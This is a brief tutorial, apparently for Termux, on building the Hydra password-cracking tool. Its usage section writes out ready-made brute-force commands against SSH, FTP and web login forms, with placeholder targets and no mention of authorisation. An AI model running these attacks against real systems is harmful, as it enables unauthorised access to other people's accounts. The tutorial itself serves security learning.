Hydra is a fast and powerful password testing tool used in cybersecurity. It allows you to check login security by trying different username and password combinations on services like SSH, FTP, and web forms. It is widely used by security learners to practice and understand how weak passwords can be easily cracked.
Installation Commands
Update and install required packages.
pkg update && pkg upgrade && pkg install git build-essential cmake
Clone Hydra from GitHub.
git clone https://github.com/vanhauser-thc/thc-hydra.git
Go to the Hydra directory.
cd thc-hydra
Configure Hydra for Termux.
./configure --prefix=$PREFIX --disable-xhydra
Compile the source code.
make
Install Hydra.
make install
Check if Hydra is installed successfully.
hydra -h
Usage Commands
Start a basic SSH brute-force attack.
hydra -l username -P passwords.txt ssh://example.com
Use a single password for testing.
hydra -l username -p password123 ssh://example.com
Brute-force FTP login.
hydra -l username -P passwords.txt ftp://example.com
Brute-force a web login form.
hydra -l username -P passwords.txt example.com http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect"
Set number of parallel tasks (faster attack).
hydra -l username -P passwords.txt -t 4 ssh://example.com
Save output results to a file.
hydra -l username -P passwords.txt ssh://example.com -o result.txt
